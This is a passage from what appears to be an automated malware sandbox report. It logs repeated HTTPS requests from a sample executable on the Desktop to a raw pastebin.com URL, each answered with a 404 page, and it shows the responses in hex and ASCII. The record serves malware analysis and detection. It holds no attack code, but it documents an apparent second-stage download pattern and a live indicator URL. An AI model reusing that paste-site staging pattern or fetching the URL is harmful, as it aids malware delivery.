20 20 20 3c 74 69 74 6c 65 3e 50 61 73 74 65 62 69 6e 2e Data Ascii: 1da<!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, initial-scale=0.75, maximum-scale=1.0, user-scalable=yes" /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Pastebin.
2024-07-02 14:30:43 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.6	54801	104.20.3.235	443	672	C:\Users\user\Desktop\s8Z4L8DY65.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 14:30:44 UTC	74	OUT	GET /raw/cs6P4mHQ HTTP/1.1 Host: pastebin.com Connection: Keep-Alive
2024-07-02 14:30:44 UTC	444	IN	HTTP/1.1 404 Not Found Date: Tue, 02 Jul 2024 14:30:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-frame-options: DENY x-content-type-options: nosniff x-content-type-options: nosniff x-xss-protection: 1;mode=block x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 88 Server: cloudflare CF-RAY: 89cf55e0e8ad191b-EWR
2024-07-02 14:30:44 UTC	481	IN	Data Raw: 31 64 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 30 2e 37 35 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 79 65 73 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 50 61 73 74 65 62 69 6e 2e Data Ascii: 1da<!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, initial-scale=0.75, maximum-scale=1.0, user-scalable=yes" /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Pastebin.
2024-07-02 14:30:44 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.6	54802	104.20.3.235	443	672	C:\Users\user\Desktop\s8Z4L8DY65.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 14:30:45 UTC	50	OUT	GET /raw/cs6P4mHQ HTTP/1.1 Host: pastebin.com
2024-07-02 14:30:45 UTC	444	IN	HTTP/1.1 404 Not Found Date: Tue, 02 Jul 2024 14:30:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-frame-options: DENY x-content-type-options: nosniff x-content-type-options: nosniff x-xss-protection: 1;mode=block x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 89 Server: cloudflare CF-RAY: 89cf55e71c848cd4-EWR
2024-07-02 14:30:45 UTC	481	IN	Data Raw: 31 64 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 30 2e 37 35 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 79 65 73 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 50 61 73 74 65 62 69 6e 2e Data Ascii: 1da<!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, initial-scale=0.75, maximum-scale=1.0, user-scalable=yes" /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Pastebin.
2024-07-02 14:30:45 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.6	54803	104.20.3.235	443	672	C:\Users\user\Desktop\s8Z4L8DY65.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 14:30:46 UTC	50	OUT	GET /raw/cs6P4mHQ HTTP/1.1 Host: pastebin.com
2024-07-02 14:30:46 UTC	444	IN	HTTP/1.1 404 Not Found Date: Tue, 02 Jul 2024 14:30:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-frame-options: DENY x-content-type-options: nosniff x-content-type-options: nosniff x-xss-protection: 1;mode=block x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 90 Server: cloudflare CF-RAY: 89cf55ec3e7d78d0-EWR
2024-07-02 14:30:46 UTC	481	IN	Data Raw: 31 64 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 30 2e 37 35 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 79 65 73 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 50 61 73 74 65 62 69 6e 2e Data Ascii: 1da<!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, initial-scale=0.75, maximum-scale=1.0, user-scalable=yes" /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Pastebin.
2024-07-02 14:30:46 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.6	54804	104.20.3.235	443	672	C:\Users\user\Desktop\s8Z4L8DY65.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 14:30:47 UTC	50	OUT	GET /raw/cs6P4mHQ HTTP/1.1 Host: pastebin.com
2024-07-02 14:30:47 UTC	444	IN	HTTP/1.1 404 Not Found Date: Tue, 02 Jul 2024 14:30:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-frame-options: DENY x-content-type-options: nosniff x-content-type-options: nosniff x-xss-protection: 1;mode=block x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 91 Server: cloudflare CF-RAY: 89cf55f148948c60-EWR
2024-07-02 14:30:47 UTC	481	IN	Data Raw: 31 64 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 30 2e 37 35 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 79 65 73 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 50 61 73 74 65 62 69 6e 2e Data Ascii: 1da<!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, initial-scale=0.75, maximum-scale=1.0, user-scalable=yes" /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Pastebin.
2024-07-02 14:30:47 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.6	54805	104.20.3.235	443	672	C:\Users\user\Desktop\s8Z4L8DY65.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 14:30:47 UTC	50	OUT	GET /raw/cs6P4mHQ HTTP/1.1 Host: pastebin.com
2024-07-02 14:30:48 UTC	444	IN	HTTP/1.1 404 Not Found Date: Tue, 02 Jul 2024 14:30:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-frame-options: DENY x-content-type-options: nosniff x-content-type-options: nosniff x-xss-protection: 1;mode=block x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 92 Server: cloudflare CF-RAY: 89cf55f61a64436f-EWR
2024-07-02 14:30:48 UTC	481	IN	Data Raw: 31 64 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 30 2e 37 35 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 79 65 73 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 50 61 73 74 65 62 69 6e 2e Data Ascii: 1da<!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, initial-scale=0.75, maximum-scale=1.0, user-scalable=yes" /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Pastebin.
2024-07-02 14:30:48 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.6	54806	104.20.3.235	443	672	C:\Users\user\Desktop\s8Z4L8DY65.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 14:30:48 UTC	50	OUT	GET /raw/cs6P4mHQ HTTP/1.1 Host: pastebin.com
2024-07-02 14:30:48 UTC	444	IN	HTTP/1.1 404 Not Found Date: Tue, 02 Jul 2024 14:30:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-frame-options: DENY x-content-type-options: nosniff x-content-type-options: nosniff x-xss-protection: 1;mode=block x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 92 Server: cloudflare CF-RAY: 89cf55fac96a4252-EWR
2024-07-02 14:30:48 UTC	481	IN	Data Raw: 31 64 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 30 2e 37 35 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 79 65 73 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 50 61 73 74 65 62 69 6e 2e Data Ascii: 1da<!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, initial-scale=0.75, maximum-scale=1.0, user-scalable=yes" /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Pastebin.
2024-07-02 14:30:48 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.6	54807	104.20.3.235	443	672	C:\Users\user\Desktop\s8Z4L8DY65.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 14:30:49 UTC	50	OUT	GET /raw/cs6P4mHQ HTTP/1.1 Host: pastebin.com
2024-07-02 14:30:49 UTC	444	IN	HTTP/1.1 404 Not Found Date: Tue, 02 Jul 2024 14:30:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-frame-options: DENY x-content-type-options: nosniff x-content-type-options: nosniff x-xss-protection: 1;mode=block x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 93 Server: cloudflare CF-RAY: 89cf55ff8a57433e-EWR
2024-07-02 14:30:49 UTC	481	IN	Data Raw: 31 64 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 30 2e 37 35 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 79 65 73 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 50 61 73 74 65 62 69 6e 2e Data Ascii: 1da<!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, initial-scale=0.75, maximum-scale=1.0, user-scalable=yes" /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Pastebin.
2024-07-02 14:30:49 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.6	54808	104.20.3.235	443	672	C:\Users\user\Desktop\s8Z4L8DY65.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 14:30:50 UTC	50	OUT	GET /raw/cs6P4mHQ HTTP/1.1 Host: pastebin.com
2024-07-02 14:30:50 UTC	444	IN	HTTP/1.1 404 Not Found Date: Tue, 02 Jul 2024 14:30:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-frame-options: DENY x-content-type-options: nosniff x-content-type-options: nosniff x-xss-protection: 1;mode=block x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 94 Server: cloudflare CF-RAY: 89cf5604389141a6-EWR
2024-07-02 14:30:50 UTC	481	IN	Data Raw: 31 64 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 30 2e 37 35 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 79 65 73 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 50 61 73 74 65 62 69 6e 2e Data Ascii: 1da<!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, initial-scale=0.75, maximum-scale=1.0, user-scalable=yes" /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Pastebin.
2024-07-02 14:30:50 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.6	54809	104.20.3.235	443	672	C:\Users\user\Desktop\s8Z4L8DY65.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 14:30:50 UTC	50	OUT	GET /raw/cs6P4mHQ HTTP/1.1 Host: pastebin.com
2024-07-02 14:30:51 UTC	444	IN	HTTP/1.1 404 Not Found Date: Tue, 02 Jul 2024 14:30:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-frame-options: DENY x-content-type-options: nosniff x-content-type-options: nosniff x-xss-protection: 1;mode=block x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 95 Server: cloudflare CF-RAY: 89cf5608e9376a4f-EWR
2024-07-02 14:30:51 UTC	481	IN	Data Raw: 31 64 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 30 2e 37 35 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 79 65 73 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 50 61 73 74 65 62 69 6e 2e Data Ascii: 1da<!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, initial-scale=0.75, maximum-scale=1.0, user-scalable=yes" /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Pastebin.
2024-07-02 14:30:51 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.6	54810	104.20.3.235	443	672	C:\Users\user\Desktop\s8Z4L8DY65.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 14:30:51 UTC	50	OUT	GET /raw/cs6P4mHQ HTTP/1.1 Host: pastebin.com
2024-07-02 14:30:51 UTC	444	IN	HTTP/1.1 404 Not Found Date: Tue, 02 Jul 2024 14:30:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-frame-options: DENY x-content-type-options: nosniff x-content-type-options: nosniff x-xss-protection: 1;mode=block x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 95 Server: cloudflare CF-RAY: 89cf560d3b7e430a-EWR
2024-07-02 14:30:51 UTC	481	IN	Data Raw: 31 64 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 30 2e 37 35 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 79 65 73 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 50 61 73 74 65 62 69 6e 2e Data Ascii: 1da<!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, initial-scale=0.75, maximum-scale=1.0, user-scalable=yes" /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Pastebin.
2024-07-02 14:30:51 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.6	54811	104.20.3.235	443	672	C:\Users\user\Desktop\s8Z4L8DY65.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 14:30:52 UTC	50	OUT	GET /raw/cs6P4mHQ HTTP/1.1 Host: pastebin.com
2024-07-02 14:30:52 UTC	444	IN	HTTP/1.1 404 Not Found Date: Tue, 02 Jul 2024 14:30:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-frame-options: DENY x-content-type-options: nosniff x-content-type-options: nosniff x-xss-protection: 1;mode=block x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 96 Server: cloudflare CF-RAY: 89cf5611cdd141e7-EWR
2024-07-02 14:30:52 UTC	481	IN	Data Raw: 31 64 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 30 2e 37 35 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 79 65 73 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 50 61 73 74 65 62 69 6e 2e Data Ascii: 1da<!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, initial-scale=0.75, maximum-scale=1.0, user-scalable=yes" /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Pastebin.
2024-07-02 14:30:52 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.6	54812	104.20.3.235	443	672	C:\Users\user\Desktop\s8Z4L8DY65.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 14:30:53 UTC	50	OUT	GET /raw/cs6P4mHQ HTTP/1.1 Host: pastebin.com
2024-07-02 14:30:53 UTC	444	IN	HTTP/1.1 404 Not Found Date: Tue, 02 Jul 2024 14:30:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-frame-options: DENY x-content-type-options: nosniff x-content-type-options: nosniff x-xss-protection: 1;mode=block x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 97 Server: cloudflare CF-RAY: 89cf56163cc6430f-EWR
2024-07-02 14:30:53 UTC	481	IN	Data Raw: 31 64 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 30 2e 37 35 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 79 65 73 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 50 61 73 74 65 62 69 6e 2e Data Ascii: 1da<!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, initial-scale=0.75, maximum-scale=1.0, user-scalable=yes" /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Pastebin.
2024-07-02 14:30:53 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.6	54813	104.20.3.235	443	672	C:\Users\user\Desktop\s8Z4L8DY65.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 14:30:53 UTC	50	OUT	GET /raw/cs6P4mHQ HTTP/1.1 Host: pastebin.com
2024-07-02 14:30:53 UTC	444	IN	HTTP/1.1 404 Not Found Date: Tue, 02 Jul 2024 14:30:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-frame-options: DENY x-content-type-options: nosniff x-content-type-options: nosniff x-xss-protection: 1;mode=block x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 97 Server: cloudflare CF-RAY: 89cf561a9c77431c-EWR
